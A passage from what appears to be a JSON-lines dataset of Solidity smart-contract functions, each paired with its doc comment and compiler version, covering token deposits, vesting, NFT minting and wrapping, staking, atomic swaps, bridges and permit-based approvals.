safeAdd(amount, balanceOf(token, msg.sender)) != uint128(amount)) throw;\r\n addBalance(token, user, amount); // adds the deposited amount to user balance\r\n\r\n if (userFirstDeposits[user] == 0) userFirstDeposits[user] = block.number;\r\n lastActiveTransaction[user] = block.number; // sets the last activity block for the user\r\n if (!Token(token).transferFrom(msg.sender, this, amount)) throw; // attempts to transfer the token to this contract, if fails throws an error\r\n emit Deposit(token, user, amount, balanceOf(token, user)); // fires the deposit event\r\n }", "version": "0.4.25"} {"comment": "// Executes multiple trades in one transaction, saves gas fees", "function_code": "function batchOrderTrade(\r\n uint8[2][] v,\r\n bytes32[4][] rs,\r\n uint256[8][] tradeValues,\r\n address[6][] tradeAddresses\r\n ) onlyAdmin\r\n {\r\n for (uint i = 0; i < tradeAddresses.length; i++) {\r\n trade(\r\n v[i],\r\n rs[i],\r\n tradeValues[i],\r\n tradeAddresses[i]\r\n );\r\n }\r\n }", "version": "0.4.25"} {"comment": "// generate url by tokenId\n// baseUrl must end with 00000000", "function_code": "function generateUrl(string url,uint256 _tokenId) internal pure returns (string _url){\r\n _url = url;\r\n bytes memory _tokenURIBytes = bytes(_url);\r\n uint256 base_len = _tokenURIBytes.length - 1;\r\n _tokenURIBytes[base_len - 7] = byte(48 + _tokenId / 10000000 % 10);\r\n _tokenURIBytes[base_len - 6] = byte(48 + _tokenId / 1000000 % 10);\r\n _tokenURIBytes[base_len - 5] = byte(48 + _tokenId / 100000 % 10);\r\n _tokenURIBytes[base_len - 4] = byte(48 + _tokenId / 10000 % 10);\r\n _tokenURIBytes[base_len - 3] = byte(48 + _tokenId / 1000 % 10);\r\n _tokenURIBytes[base_len - 2] = byte(48 + _tokenId / 100 % 10);\r\n _tokenURIBytes[base_len - 1] = byte(48 + _tokenId / 10 % 10);\r\n _tokenURIBytes[base_len - 0] = byte(48 + _tokenId / 1 % 10);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Allows the current owner or operators to add operators\r\n * @param _newOperator New operator address\r\n */", "function_code": "function addOperator(address _newOperator) public onlyOwner {\r\n require(\r\n _newOperator != address(0),\r\n \"Invalid new operator address.\"\r\n );\r\n\r\n // Make sure no dups\r\n require(\r\n !isOperator[_newOperator],\r\n \"New operator exists.\"\r\n );\r\n\r\n // Only allow so many ops\r\n require(\r\n operators.length < MAX_OPS,\r\n \"Overflow.\"\r\n );\r\n\r\n operators.push(_newOperator);\r\n isOperator[_newOperator] = true;\r\n\r\n emit OperatorAdded(_newOperator);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Allows the current owner or operators to remove operator\r\n * @param _operator Address of the operator to be removed\r\n */", "function_code": "function removeOperator(address _operator) public onlyOwner {\r\n // Make sure operators array is not empty\r\n require(\r\n operators.length > 0,\r\n \"No operator.\"\r\n );\r\n\r\n // Make sure the operator exists\r\n require(\r\n isOperator[_operator],\r\n \"Not an operator.\"\r\n );\r\n\r\n // Manual array manipulation:\r\n // - replace the _operator with last operator in array\r\n // - remove the last item from array\r\n address lastOperator = operators[operators.length - 1];\r\n for (uint i = 0; i < operators.length; i++) {\r\n if (operators[i] == _operator) {\r\n operators[i] = lastOperator;\r\n }\r\n }\r\n operators.length -= 1; // remove the last element\r\n\r\n isOperator[_operator] = false;\r\n emit OperatorRemoved(_operator);\r\n }", "version": "0.4.24"} {"comment": "/**\n * @notice Function to claim tokens\n * @param account Address to claim tokens for\n */", "function_code": "function claim(address account) external {\n uint256 totalAmount;\n for (uint8 i = 0; i < vestingIds[account].length; i++) {\n uint256 amount = getAvailableBalance(vestingIds[account][i]);\n if (amount > 0) {\n totalAmount += amount;\n vestings[vestingIds[account][i]].claimed += amount;\n vestings[vestingIds[account][i]].lastUpdate = block.timestamp;\n }\n }\n require(cpool.transfer(account, totalAmount), \"Vesting::claim: transfer error\");\n }", "version": "0.8.4"} {"comment": "/**\n * @notice Owner function to hold tokens to a batch of accounts\n * @param params List of HoldParams objects with vesting params\n */", "function_code": "function holdTokens(HoldParams[] memory params) external onlyOwner {\n uint256 totalAmount;\n for (uint8 i = 0; i < params.length; i++) {\n totalAmount += params[i].amount;\n }\n require(cpool.transferFrom(msg.sender, address(this), totalAmount), \"Vesting::holdTokens: transfer failed\");\n totalVest += totalAmount;\n for (uint8 i = 0; i < params.length; i++) {\n _holdTokens(params[i]);\n }\n }", "version": "0.8.4"} {"comment": "/**\n * @notice Function gets amount of available for claim tokens in exact vesting object\n * @param id ID of the vesting object\n * @return Amount of available tokens\n */", "function_code": "function getAvailableBalance(uint256 id) public view returns (uint256) {\n VestingParams memory vestParams = vestings[id];\n if (block.timestamp < vestParams.vestingCliff) {\n return 0;\n }\n uint256 amount;\n if (block.timestamp >= vestingEnd) {\n amount = vestParams.amount - vestParams.claimed;\n } else {\n amount = vestParams.amount * (block.timestamp - vestParams.lastUpdate) / (vestingEnd - vestingBegin);\n }\n return amount;\n }", "version": "0.8.4"} {"comment": "/**\n * @notice Private function to hold tokens for one account\n * @param params HoldParams object with vesting params\n */", "function_code": "function _holdTokens(HoldParams memory params) private {\n require(params.amount > 0, \"Vesting::holdTokens: can not hold zero amount\");\n require(vestingEnd > params.vestingCliff, \"Vesting::holdTokens: cliff is too late\");\n require(params.vestingCliff >= vestingBegin, \"Vesting::holdTokens: cliff is too early\");\n require(params.unlocked <= params.amount, \"Vesting::holdTokens: unlocked can not be greater than amount\");\n \n if (params.unlocked > 0) {\n cpool.transfer(params.recipient, params.unlocked);\n }\n if (params.unlocked < params.amount) {\n vestings[_nextVestingId] = VestingParams({\n amount: params.amount - params.unlocked,\n vestingCliff: params.vestingCliff,\n lastUpdate: vestingBegin,\n claimed: 0\n });\n vestingIds[params.recipient].push(_nextVestingId);\n _nextVestingId++;\n }\n }", "version": "0.8.4"} {"comment": "// ONLY-DABANK-CONTRACT FUNCTIONS", "function_code": "function register(address _user, string memory _userName, address _inviter)\r\n onlyReserveFundContract\r\n public\r\n returns\r\n (uint)\r\n {\r\n require(_userName.validateUserName(), \"Invalid username\");\r\n Investor storage investor = investors[_user];\r\n require(!isCitizen(_user), \"Already an citizen\");\r\n bytes24 _userNameAsKey = _userName.stringToBytes24();\r\n require(userNameAddresses[_userNameAsKey] == address(0x0), \"Username already exist\");\r\n userNameAddresses[_userNameAsKey] = _user;\r\n\r\n investor.id = userAddresses.length;\r\n investor.userName = _userName;\r\n investor.inviter = _inviter;\r\n investor.rank = Rank.UnRanked;\r\n increaseInvitersSubscribers(_inviter);\r\n increaseInviterF1(_inviter, _user);\r\n userAddresses.push(_user);\r\n return investor.id;\r\n }", "version": "0.4.25"} {"comment": "// _source: 0-eth 1-token 2-usdt", "function_code": "function addNetworkDepositedToInviter(address _inviter, uint _amount, uint _source, uint _sourceAmount)\r\n onlyWalletContract\r\n public\r\n {\r\n require(_inviter != address(0x0), \"Invalid inviter address\");\r\n require(_amount >= 0, \"Invalid deposit amount\");\r\n require(_source >= 0 && _source <= 2, \"Invalid deposit source\");\r\n require(_sourceAmount >= 0, \"Invalid source amount\");\r\n investors[_inviter].networkDeposited = investors[_inviter].networkDeposited.add(_amount);\r\n if (_source == 0) {\r\n investors[_inviter].networkDepositedViaETH = investors[_inviter].networkDepositedViaETH.add(_sourceAmount);\r\n } else if (_source == 1) {\r\n investors[_inviter].networkDepositedViaToken = investors[_inviter].networkDepositedViaToken.add(_sourceAmount);\r\n } else {\r\n investors[_inviter].networkDepositedViaDollar = investors[_inviter].networkDepositedViaDollar.add(_sourceAmount);\r\n }\r\n }", "version": "0.4.25"} {"comment": "/**\n * @notice Allow an alien holder to mint their free Forgotten Alien\n */", "function_code": "function mintWithAlien() public nonReentrant {\n require(isPreSaleActive, \"SALE_NOT_ACTIVE\");\n require(!isPublicSaleActive, \"PRESALE_OVER\");\n require(balanceOf(msg.sender) < 1, \"ALREADY_MINTED_FORGOTTEN_ALIEN\");\n require(totalSupply() < MAX_SUPPLY, \"MAX_SUPPLY_REACHED\");\n require(aliens.balanceOf(msg.sender) > 0, \"MUST_BE_ALIEN_OWNER\");\n\n uint256 tokenId = _tokenIds.current();\n _safeMint(msg.sender, tokenId + ALIENS_MINTED);\n _tokenIds.increment();\n }", "version": "0.8.6"} {"comment": "/**\n * @notice Allow public to bulk mint tokens\n */", "function_code": "function mint(uint256 numberOfMints) public payable nonReentrant {\n require(isPublicSaleActive, \"SALE_NOT_ACTIVE\");\n require(numberOfMints <= MAX_MULTI_MINT_AMOUNT, \"TOO_LARGE_PER_TX\");\n require(totalSupply() + numberOfMints <= MAX_SUPPLY, \"MAX_SUPPLY_REACHED\");\n\n require(msg.value >= price * numberOfMints, \"NPass:INVALID_PRICE\");\n \n for (uint256 i = 0; i < numberOfMints; i++) {\n uint256 tokenId = _tokenIds.current();\n _safeMint(msg.sender, tokenId + ALIENS_MINTED);\n _tokenIds.increment();\n }\n }", "version": "0.8.6"} {"comment": "// XXX: added whitelist check.\n// Deposit LP tokens to MasterChef for SUSHI allocation.", "function_code": "function deposit(uint256 _pid, uint256 _amount) public onlyWhitelisted {\n PoolInfo storage pool = poolInfo[_pid];\n UserInfo storage user = userInfo[_pid][msg.sender];\n updatePool(_pid);\n if (user.amount > 0) {\n uint256 pending = user.amount.mul(pool.accSushiPerShare).div(1e12).sub(user.rewardDebt);\n if(pending > 0) {\n safeSushiTransfer(msg.sender, pending);\n }\n }\n if(_amount > 0) {\n pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);\n user.amount = user.amount.add(_amount);\n }\n user.rewardDebt = user.amount.mul(pool.accSushiPerShare).div(1e12);\n emit Deposit(msg.sender, _pid, _amount);\n }", "version": "0.6.12"} {"comment": "// XXX: added whitelist check.\n// Withdraw LP tokens from MasterChef.", "function_code": "function withdraw(uint256 _pid, uint256 _amount) public onlyWhitelisted {\n PoolInfo storage pool = poolInfo[_pid];\n UserInfo storage user = userInfo[_pid][msg.sender];\n require(user.amount >= _amount, \"withdraw: not good\");\n updatePool(_pid);\n uint256 pending = user.amount.mul(pool.accSushiPerShare).div(1e12).sub(user.rewardDebt);\n if(pending > 0) {\n safeSushiTransfer(msg.sender, pending);\n }\n if(_amount > 0) {\n user.amount = user.amount.sub(_amount);\n pool.lpToken.safeTransfer(address(msg.sender), _amount);\n }\n user.rewardDebt = user.amount.mul(pool.accSushiPerShare).div(1e12);\n emit Withdraw(msg.sender, _pid, _amount);\n }", "version": "0.6.12"} {"comment": "// XXX: added whitelist check.\n// Withdraw without caring about rewards. EMERGENCY ONLY.", "function_code": "function emergencyWithdraw(uint256 _pid) public onlyWhitelisted {\n PoolInfo storage pool = poolInfo[_pid];\n UserInfo storage user = userInfo[_pid][msg.sender];\n uint256 amount = user.amount;\n user.amount = 0;\n user.rewardDebt = 0;\n pool.lpToken.safeTransfer(address(msg.sender), amount);\n emit EmergencyWithdraw(msg.sender, _pid, amount);\n }", "version": "0.6.12"} {"comment": "/**\n * @dev deflatinate the token ID.\n * @param tokenId1, is a integer value denotes the token ID.\n * @param tokenId2, is a integer value denotes the token ID.\n */", "function_code": "function deflatinate(uint256 tokenId1, uint256 tokenId2)\n external\n nonReentrant\n {\n require(!pauseDeflatinate, \"deflatination of tokens are paused\");\n uint256 deflatinatedTokenId = getNextDeflatinatedTokenId();\n TokenLineageDetail storage data = _lineage[deflatinatedTokenId];\n data.parent1 = tokenId1;\n data.parent2 = tokenId2;\n data.gen = calculateGen(tokenId1, tokenId2);\n _incrementDefaltinatedTokenId();\n _burnBot(tokenId1);\n _burnBot(tokenId2);\n _safeMint(msg.sender, deflatinatedTokenId);\n emit Deflatination(tokenId1, tokenId2, deflatinatedTokenId);\n }", "version": "0.8.0"} {"comment": "/// @notice claim claims the previously locked asset.\n///\n/// @param _swapID The hash of randomNumberHash, swap creator and swap recipient\n/// @param _randomNumber The random number", "function_code": "function claim(bytes32 _swapID, bytes32 _randomNumber) external onlyOpenSwaps(_swapID) onlyBeforeExpireHeight(_swapID) onlyWithRandomNumber(_swapID, _randomNumber) returns (bool) {\r\n // Complete the swap.\r\n swapStates[_swapID] = States.COMPLETED;\r\n\r\n address recipientAddr = swaps[_swapID].recipientAddr;\r\n uint256 outAmount = swaps[_swapID].outAmount;\r\n bytes32 randomNumberHash = swaps[_swapID].randomNumberHash;\r\n // delete closed swap\r\n delete swaps[_swapID];\r\n\r\n // Pay erc20 token to recipient\r\n require(ERC20(ERC20ContractAddr).transfer(recipientAddr, outAmount), \"Failed to transfer locked asset to recipient\");\r\n\r\n // Emit completion event\r\n emit Claimed(msg.sender, recipientAddr, _swapID, randomNumberHash, _randomNumber);\r\n\r\n return true;\r\n }", "version": "0.5.8"} {"comment": "/// @notice refund refunds the previously locked asset.\n///\n/// @param _swapID The hash of randomNumberHash, swap creator and swap recipient", "function_code": "function refund(bytes32 _swapID) external onlyOpenSwaps(_swapID) onlyAfterExpireHeight(_swapID) returns (bool) {\r\n // Expire the swap.\r\n swapStates[_swapID] = States.EXPIRED;\r\n\r\n address swapSender = swaps[_swapID].sender;\r\n uint256 outAmount = swaps[_swapID].outAmount;\r\n bytes32 randomNumberHash = swaps[_swapID].randomNumberHash;\r\n // delete closed swap\r\n delete swaps[_swapID];\r\n\r\n // refund erc20 token to swap creator\r\n require(ERC20(ERC20ContractAddr).transfer(swapSender, outAmount), \"Failed to transfer locked asset back to swap creator\");\r\n\r\n // Emit expire event\r\n emit Refunded(msg.sender, swapSender, _swapID, randomNumberHash);\r\n\r\n return true;\r\n }", "version": "0.5.8"} {"comment": "/// @notice query an atomic swap by randomNumberHash\n///\n/// @param _swapID The hash of randomNumberHash, swap creator and swap recipient", "function_code": "function queryOpenSwap(bytes32 _swapID) external view returns(bytes32 _randomNumberHash, uint64 _timestamp, uint256 _expireHeight, uint256 _outAmount, address _sender, address _recipient) {\r\n Swap memory swap = swaps[_swapID];\r\n return (\r\n swap.randomNumberHash,\r\n swap.timestamp,\r\n swap.expireHeight,\r\n swap.outAmount,\r\n swap.sender,\r\n swap.recipientAddr\r\n );\r\n }", "version": "0.5.8"} {"comment": "/**\r\n * @dev This is from Timelock contract, the governance should be a Timelock contract before calling this emergency function!\r\n */", "function_code": "function executeTransaction(address target, uint value, string memory signature, bytes memory data) public returns (bytes memory) {\r\n require(msg.sender == timelock, \"!timelock\");\r\n\r\n bytes memory callData;\r\n\r\n if (bytes(signature).length == 0) {\r\n callData = data;\r\n } else {\r\n callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);\r\n }\r\n\r\n // solium-disable-next-line security/no-call-value\r\n (bool success, bytes memory returnData) = target.call{value : value}(callData);\r\n require(success, string(abi.encodePacked(getName(), \"::executeTransaction: Transaction execution reverted.\")));\r\n\r\n emit ExecuteTransaction(target, value, signature, data);\r\n\r\n return returnData;\r\n }", "version": "0.6.12"} {"comment": "// Manual Token Process Trigger - Enter the percent of the tokens that you'd like to send to process", "function_code": "function process_Tokens_Now (uint256 percent_Of_Tokens_To_Process) public onlyOwner {\r\n // Do not trigger if already in swap\r\n require(!inSwapAndLiquify, \"Currently processing, try later.\"); \r\n if (percent_Of_Tokens_To_Process > 100){percent_Of_Tokens_To_Process == 100;}\r\n uint256 tokensOnContract = balanceOf(address(this));\r\n uint256 sendTokens = tokensOnContract*percent_Of_Tokens_To_Process/100;\r\n swapAndLiquify(sendTokens);\r\n }", "version": "0.8.7"} {"comment": "// Remove random tokens from the contract and send to a wallet", "function_code": "function remove_Random_Tokens(address random_Token_Address, address send_to_wallet, uint256 number_of_tokens) public onlyOwner returns(bool _sent){\r\n require(random_Token_Address != address(this), \"Can not remove native token\");\r\n uint256 randomBalance = IERC20(random_Token_Address).balanceOf(address(this));\r\n if (number_of_tokens > randomBalance){number_of_tokens = randomBalance;}\r\n _sent = IERC20(random_Token_Address).transfer(send_to_wallet, number_of_tokens);\r\n }", "version": "0.8.7"} {"comment": "/// @dev transferFrom in this contract works in a slightly different form than the generic\n/// transferFrom function. This contract allows for \"unlimited approval\".\n/// Should the user approve an address for the maximum uint256 value,\n/// then that address will have unlimited approval until told otherwise.\n/// @param _sender The address of the sender.\n/// @param _recipient The address of the recipient.\n/// @param _amount The value to transfer.\n/// @return Success status.", "function_code": "function transferFrom(address _sender, address _recipient, uint256 _amount) public returns (bool) {\r\n _transfer(_sender, _recipient, _amount);\r\n\r\n if (_sender != msg.sender) {\r\n uint256 allowedAmount = allowance(_sender, msg.sender);\r\n\r\n if (allowedAmount != uint256(-1)) {\r\n // If allowance is limited, adjust it.\r\n // In this case `transferFrom` works like the generic\r\n _approve(_sender, msg.sender, allowedAmount.sub(_amount));\r\n } else {\r\n // If allowance is unlimited by `permit`, `approve`, or `increaseAllowance`\r\n // function, don't adjust it. But the expiration date must be empty or in the future\r\n require(\r\n expirations[_sender][msg.sender] == 0 || expirations[_sender][msg.sender] >= _now(),\r\n \"expiry is in the past\"\r\n );\r\n }\r\n } else {\r\n // If `_sender` is `msg.sender`,\r\n // the function works just like `transfer()`\r\n }\r\n\r\n return true;\r\n }", "version": "0.5.10"} {"comment": "/// @dev Allows to spend holder's unlimited amount by the specified spender.\n/// The function can be called by anyone, but requires having allowance parameters\n/// signed by the holder according to EIP712.\n/// @param _holder The holder's address.\n/// @param _spender The spender's address.\n/// @param _nonce The nonce taken from `nonces(_holder)` public getter.\n/// @param _expiry The allowance expiration date (unix timestamp in UTC).\n/// Can be zero for no expiration. Forced to zero if `_allowed` is `false`.\n/// @param _allowed True to enable unlimited allowance for the spender by the holder. False to disable.\n/// @param _v A final byte of signature (ECDSA component).\n/// @param _r The first 32 bytes of signature (ECDSA component).\n/// @param _s The second 32 bytes of signature (ECDSA component).", "function_code": "function permit(\r\n address _holder,\r\n address _spender,\r\n uint256 _nonce,\r\n uint256 _expiry,\r\n bool _allowed,\r\n uint8 _v,\r\n bytes32 _r,\r\n bytes32 _s\r\n ) external {\r\n require(_expiry == 0 || _now() <= _expiry, \"invalid expiry\");\r\n\r\n bytes32 digest = keccak256(abi.encodePacked(\r\n \"\\x19\\x01\",\r\n DOMAIN_SEPARATOR,\r\n keccak256(abi.encode(\r\n PERMIT_TYPEHASH,\r\n _holder,\r\n _spender,\r\n _nonce,\r\n _expiry,\r\n _allowed\r\n ))\r\n ));\r\n\r\n require(_holder == ecrecover(digest, _v, _r, _s), \"invalid signature or parameters\");\r\n require(_nonce == nonces[_holder]++, \"invalid nonce\");\r\n\r\n uint256 amount = _allowed ? uint256(-1) : 0;\r\n _approve(_holder, _spender, amount);\r\n\r\n expirations[_holder][_spender] = _allowed ? _expiry : 0;\r\n }", "version": "0.5.10"} {"comment": "/// @dev Extends transfer method with callback.\n/// @param _to The address of the recipient.\n/// @param _value The value to transfer.\n/// @param _data Custom data.\n/// @return Success status.", "function_code": "function transferAndCall(\r\n address _to,\r\n uint256 _value,\r\n bytes calldata _data\r\n ) external validRecipient(_to) returns (bool) {\r\n _superTransfer(_to, _value);\r\n emit Transfer(msg.sender, _to, _value, _data);\r\n\r\n if (_to.isContract()) {\r\n require(_contractFallback(msg.sender, _to, _value, _data), \"contract call failed\");\r\n }\r\n return true;\r\n }", "version": "0.5.10"} {"comment": "/// @dev If someone sent eth/tokens to the contract mistakenly then the owner can send them back.\n/// @param _token The token address to transfer.\n/// @param _to The address of the recipient.", "function_code": "function claimTokens(address _token, address payable _to) public onlyOwner validRecipient(_to) {\r\n if (_token == address(0)) {\r\n uint256 value = address(this).balance;\r\n if (!_to.send(value)) { // solium-disable-line security/no-send\r\n // We use the `Sacrifice` trick to be sure the coins can be 100% sent to the receiver.\r\n // Otherwise, if the receiver is a contract which has a revert in its fallback function,\r\n // the sending will fail.\r\n (new Sacrifice).value(value)(_to);\r\n }\r\n } else {\r\n ERC20 token = ERC20(_token);\r\n uint256 balance = token.balanceOf(address(this));\r\n token.safeTransfer(_to, balance);\r\n }\r\n }", "version": "0.5.10"} {"comment": "/// @dev Calls transfer method and reverts if it fails.\n/// @param _to The address of the recipient.\n/// @param _value The value to transfer.", "function_code": "function _superTransfer(address _to, uint256 _value) internal {\r\n bool success;\r\n if (\r\n msg.sender == distributionAddress ||\r\n msg.sender == privateOfferingDistributionAddress ||\r\n msg.sender == advisorsRewardDistributionAddress\r\n ) {\r\n // Allow sending tokens to `address(0)` by\r\n // Distribution, PrivateOffering, or AdvisorsReward contract\r\n _balances[msg.sender] = _balances[msg.sender].sub(_value);\r\n _balances[_to] = _balances[_to].add(_value);\r\n emit Transfer(msg.sender, _to, _value);\r\n success = true;\r\n } else {\r\n success = super.transfer(_to, _value);\r\n }\r\n require(success, \"transfer failed\");\r\n }", "version": "0.5.10"} {"comment": "/// @dev Emits an event when the callback failed.\n/// @param _from The address of the sender.\n/// @param _to The address of the recipient.\n/// @param _value The transferred value.", "function_code": "function _callAfterTransfer(address _from, address _to, uint256 _value) internal {\r\n if (_to.isContract() && !_contractFallback(_from, _to, _value, new bytes(0))) {\r\n require(!isBridge(_to), \"you can't transfer to bridge contract\");\r\n require(_to != distributionAddress, \"you can't transfer to Distribution contract\");\r\n require(_to != privateOfferingDistributionAddress, \"you can't transfer to PrivateOffering contract\");\r\n require(_to != advisorsRewardDistributionAddress, \"you can't transfer to AdvisorsReward contract\");\r\n emit ContractFallbackCallFailed(_from, _to, _value);\r\n }\r\n }", "version": "0.5.10"} {"comment": "/// @dev Makes a callback after the transfer of tokens.\n/// @param _from The address of the sender.\n/// @param _to The address of the recipient.\n/// @param _value The transferred value.\n/// @param _data Custom data.\n/// @return Success status.", "function_code": "function _contractFallback(\r\n address _from,\r\n address _to,\r\n uint256 _value,\r\n bytes memory _data\r\n ) private returns (bool) {\r\n string memory signature = \"onTokenTransfer(address,uint256,bytes)\";\r\n // solium-disable-next-line security/no-low-level-calls\r\n (bool success, ) = _to.call(abi.encodeWithSignature(signature, _from, _value, _data));\r\n return success;\r\n }", "version": "0.5.10"} {"comment": "/// @dev Adds one more bridge contract into the list.\n/// @param _bridge Bridge contract address.", "function_code": "function addBridge(address _bridge) external onlyOwner {\r\n require(bridgeCount < MAX_BRIDGES, \"can't add one more bridge due to a limit\");\r\n require(_bridge.isContract(), \"not a contract address\");\r\n require(!isBridge(_bridge), \"bridge already exists\");\r\n\r\n address firstBridge = bridgePointers[F_ADDR];\r\n require(firstBridge != address(0), \"first bridge is zero address\");\r\n bridgePointers[F_ADDR] = _bridge;\r\n bridgePointers[_bridge] = firstBridge;\r\n bridgeCount = bridgeCount.add(1);\r\n\r\n emit BridgeAdded(_bridge);\r\n }", "version": "0.5.10"} {"comment": "/// @dev Removes one existing bridge contract from the list.\n/// @param _bridge Bridge contract address.", "function_code": "function removeBridge(address _bridge) external onlyOwner {\r\n require(isBridge(_bridge), \"bridge isn't existed\");\r\n\r\n address nextBridge = bridgePointers[_bridge];\r\n address index = F_ADDR;\r\n address next = bridgePointers[index];\r\n require(next != address(0), \"zero address found\");\r\n\r\n while (next != _bridge) {\r\n index = next;\r\n next = bridgePointers[index];\r\n\r\n require(next != F_ADDR && next != address(0), \"invalid address found\");\r\n }\r\n\r\n bridgePointers[index] = nextBridge;\r\n delete bridgePointers[_bridge];\r\n bridgeCount = bridgeCount.sub(1);\r\n\r\n emit BridgeRemoved(_bridge);\r\n }", "version": "0.5.10"} {"comment": "/// @dev Returns all recorded bridge contract addresses.\n/// @return address[] Bridge contract addresses.", "function_code": "function bridgeList() external view returns (address[] memory) {\r\n address[] memory list = new address[](bridgeCount);\r\n uint256 counter = 0;\r\n address nextBridge = bridgePointers[F_ADDR];\r\n require(nextBridge != address(0), \"zero address found\");\r\n\r\n while (nextBridge != F_ADDR) {\r\n list[counter] = nextBridge;\r\n nextBridge = bridgePointers[nextBridge];\r\n counter++;\r\n\r\n require(nextBridge != address(0), \"zero address found\");\r\n }\r\n\r\n return list;\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev Returns Arweave hash for the preview image matching given IPFS hash.\r\n */", "function_code": "function _getTokenArweaveHash(string memory ipfsHash) private pure returns (string memory) {\r\n bytes32 ipfsMatcher = keccak256(abi.encodePacked(ipfsHash));\r\n if (ipfsMatcher == keccak256(\"QmQdb77jfHZSwk8dGpN3mqx8q4N7EUNytiAgEkXrMPbMVw\")) return \"iOKh8ppTX5831s9ip169PfcqZ265rlz_kH-oyDXELtA\"; //State 1\r\n else if (ipfsMatcher == keccak256(\"QmS3kaQnxb28vcXQg35PrGarJKkSysttZdNLdZp3JquttQ\")) return \"4iJ3Igr90bfEkBMeQv1t2S4ctK2X-I18hnbal2YFfWI\"; //State 2\r\n else if (ipfsMatcher == keccak256(\"QmX8beRtZAsed6naFWqddKejV33NoXotqZoGTuDaV5SHqN\")) return \"y4yuf5VvfAYOl3Rm5DTsAaneJDXwFJGBThI6VG3b7co\"; //State 3\r\n else if (ipfsMatcher == keccak256(\"QmQvsAMYzJm8kGQ7YNF5ziWUb6hr7vqdmkrn1qEPDykYi4\")) return \"29SOcovLFC5Q4B-YJzgisGgRXllDHoN_l5c8Tan3jHs\"; //State 4\r\n else if (ipfsMatcher == keccak256(\"QmZwHt9ZhCgVMqpcFDhwKSA3higVYQXzyaPqh2BPjjXJXU\")) return \"d8mJGLKJhg1Gl2OW1qQjcH8Y8tYBCvNWUuGH6iXd18U\"; //State 5\r\n else if (ipfsMatcher == keccak256(\"Qmd2MNfgzPYXGMS1ZgdsiWuAkriRRx15pfRXU7ZVK22jce\")) return \"siy0OInjmvElSk2ORJ4VNiQC1_dkdKzNRpmkOBBy2hA\"; //State 6\r\n else if (ipfsMatcher == keccak256(\"QmWcYzNdUYbMzrM7bGgTZXVE4GBm7v4dQneKb9fxgjMdAX\")) return \"5euBxS7JvRrqb7fxh4wLjEW5abPswocAGTHjqlrkyBE\"; //State 7\r\n else if (ipfsMatcher == keccak256(\"QmaXX7VuBY1dCeK78TTGEvYLTF76sf6fnzK7TJSni4PHxj\")) return \"7IK1u-DsuAj0nQzpwmQpo66dwpWx8PS9i-xv6aS6y6I\"; //State 8\r\n else if (ipfsMatcher == keccak256(\"QmaqeJnzF2cAdfDrYRAw6VwzNn9dY9bKTyUuTHg1gUSQY7\")) return \"LWpLIs3-PUvV6WvXa-onc5QZ5FeYiEpiIwRfc_u64ss\"; //State 9\r\n else if (ipfsMatcher == keccak256(\"QmSZquD6yGy5QvsJnygXUnWKrsKJvk942L8nzs6YZFKbxY\")) return \"vzLvsueGrzpVI_MZBogAw57Pi1OdynahcolZPpvhEQI\"; //State 10\r\n else if (ipfsMatcher == keccak256(\"QmYtdrfPd3jAWWpjkd24NzLGqH5TDsHNvB8Qtqu6xnBcJF\")) return \"iEh79QQjaMjKd0I6d6eM8UYcFw-pj5_gBdGhTOTB54g\"; //State 11\r\n else if (ipfsMatcher == keccak256(\"QmesagGNeyjDvJ2N5oc8ykBiwsiE7gdk9vnfjjAe3ipjx4\")) return \"b132CTM45LOEMwzOqxnPqtDqlPPwcaQ0ztQ5OWhBnvQ\"; //State 12\r\n revert('wROME: Invalid IPFS hash');\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * Incoming deposits to be shared among all holders\r\n */", "function_code": "function deposit_dividends()\r\n public\r\n payable\r\n {\r\n uint256 _dividends = msg.value;\r\n require(_dividends > 0);\r\n \r\n // dividing by zero is a bad idea\r\n if (tokenSupply_ > 0) {\r\n // take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder\r\n profitPerShare_ += dividendCalculation(_dividends);\r\n }\r\n }", "version": "0.4.24"} {"comment": "//track treasury/contract tokens", "function_code": "function trackTreasuryToken(uint256 _amountOfTokens)\r\n internal\r\n {\r\n require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));\r\n\r\n address _treasuryAddress = address(Treasury_);\r\n _amountOfTokens = SafeMath.div(_amountOfTokens, treasuryMag_);\r\n\r\n\r\n // record as treasury token\r\n treasurySupply_ += _amountOfTokens;\r\n treasuryBalanceLedger_[_treasuryAddress] = SafeMath.add(treasuryBalanceLedger_[_treasuryAddress], _amountOfTokens);\r\n\r\n // tells the contract that treasury doesn't deserve dividends;\r\n int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens);\r\n payoutsTo_[_treasuryAddress] += _updatedPayouts;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Transfers contract/tokenId into contract and issues wrapping token.\r\n */", "function_code": "function wrap(address contract_, uint256 tokenId) external virtual override nonReentrant {\r\n require(IERC721(contract_).ownerOf(tokenId) == msg.sender, 'ERC721Wrapper: Caller must own NFT.');\r\n require(IERC721(contract_).getApproved(tokenId) == address(this), 'ERC721Wrapper: Contract must be given approval to wrap NFT.');\r\n require(isWrappable(contract_, tokenId), 'ERC721Wrapper: TokenId not within approved range.');\r\n\r\n\t\tIERC721(contract_).transferFrom(msg.sender, address(this), tokenId);\r\n _wrap(msg.sender, tokenId);\r\n\t}", "version": "0.8.4"} {"comment": "/**\r\n * @dev Updates approved contract/token ranges. Simple access control mechanism.\r\n */", "function_code": "function _updateApprovedTokenRanges(address contract_, uint256 minTokenId, uint256 maxTokenId) internal virtual {\r\n require(minTokenId <= maxTokenId, 'ERC721Wrapper: Min tokenId must be less-than/equal to max.');\r\n\r\n if (_approvedTokenRanges[contract_].maxTokenId == 0) {\r\n _approvedTokenRanges[contract_] = TokenIdRange(minTokenId, maxTokenId);\r\n } else {\r\n _approvedTokenRanges[contract_].minTokenId = minTokenId;\r\n _approvedTokenRanges[contract_].maxTokenId = maxTokenId;\r\n }\r\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Transfers tokenIds to rental pool and returns an ERC721 receipt to owner\n * @param erc721Address Address of supported ERC721 NFT (only erc721 is supported in v1)\n * @param tokenIds TokenIds to be staked within the contract\n * @param rentalFees Fees charged per token rental (in gwei)\n */", "function_code": "function addStaked(\n address erc721Address,\n 